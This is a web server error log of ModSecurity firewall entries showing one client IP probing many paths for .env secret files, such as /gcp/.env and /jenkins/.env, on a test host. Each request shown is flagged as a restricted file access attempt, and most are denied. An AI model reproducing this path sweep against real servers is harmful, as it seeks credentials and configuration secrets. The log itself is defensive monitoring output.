[Wed Feb 25 06:05:13.197461 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNAAAAAU&quot;]
[Wed Feb 25 06:05:13.197607 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNAAAAAU&quot;]
[Wed Feb 25 06:05:13.208678 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /instantcv/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ6DCYv6AM5Bs3q_JQDYvwAAAAc&quot;]
[Wed Feb 25 06:05:13.208956 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ6DCYv6AM5Bs3q_JQDYvwAAAAc&quot;]
[Wed Feb 25 06:05:13.209115 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/InstantCV/server/.env&quot;] [unique_id &quot;aZ6DCYv6AM5Bs3q_JQDYvwAAAAc&quot;]
[Wed Feb 25 06:05:13.253872 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNQAAAAU&quot;]
[Wed Feb 25 06:05:13.254119 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNQAAAAU&quot;]
[Wed Feb 25 06:05:13.254274 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNQAAAAU&quot;]
[Wed Feb 25 06:05:13.284513 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNgAAAAU&quot;]
[Wed Feb 25 06:05:13.284742 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNgAAAAU&quot;]
[Wed Feb 25 06:05:13.284942 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDNgAAAAU&quot;]
[Wed Feb 25 06:05:13.518632 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOAAAAAU&quot;]
[Wed Feb 25 06:05:13.518915 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOAAAAAU&quot;]
[Wed Feb 25 06:05:13.519114 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOAAAAAU&quot;]
[Wed Feb 25 06:05:13.656018 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOQAAAAU&quot;]
[Wed Feb 25 06:05:13.656300 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOQAAAAU&quot;]
[Wed Feb 25 06:05:13.656479 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftp/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOQAAAAU&quot;]
[Wed Feb 25 06:05:13.681964 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ftpmaster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOgAAAAU&quot;]
[Wed Feb 25 06:05:13.682247 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOgAAAAU&quot;]
[Wed Feb 25 06:05:13.682463 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ftpmaster/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOgAAAAU&quot;]
[Wed Feb 25 06:05:13.734757 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /functions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOwAAAAU&quot;]
[Wed Feb 25 06:05:13.735037 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOwAAAAU&quot;]
[Wed Feb 25 06:05:13.735231 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDOwAAAAU&quot;]
[Wed Feb 25 06:05:13.889354 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /gcp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDPQAAAAU&quot;]
[Wed Feb 25 06:05:13.889652 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDPQAAAAU&quot;]
[Wed Feb 25 06:05:13.889834 2026] [:error] [pid 2312955] [client 185.177.72.13:51818] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ6DCeTWwZsZM3_RktVDPQAAAAU&quot;]
[Wed Feb 25 06:05:13.897579 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /items/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ6DCbZegw_qLbSTRXm5mQAAAAM&quot;]
[Wed Feb 25 06:05:13.897837 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ6DCbZegw_qLbSTRXm5mQAAAAM&quot;]
[Wed Feb 25 06:05:13.898027 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/items/.env&quot;] [unique_id &quot;aZ6DCbZegw_qLbSTRXm5mQAAAAM&quot;]
[Wed Feb 25 06:05:13.990904 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /javascript/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ6DCbZegw_qLbSTRXm5mgAAAAM&quot;]
[Wed Feb 25 06:05:13.991261 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ6DCbZegw_qLbSTRXm5mgAAAAM&quot;]
[Wed Feb 25 06:05:13.991470 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/javascript/.env&quot;] [unique_id &quot;aZ6DCbZegw_qLbSTRXm5mgAAAAM&quot;]
[Wed Feb 25 06:05:14.034087 2026] [:error] [pid 2312882] [client 185.177.72.13:16406] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /jenkins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/jenkins/.env&quot;] [unique_id &quot;aZ6DCrZegw_qLbSTRXm5mwAAAAM&quot;]
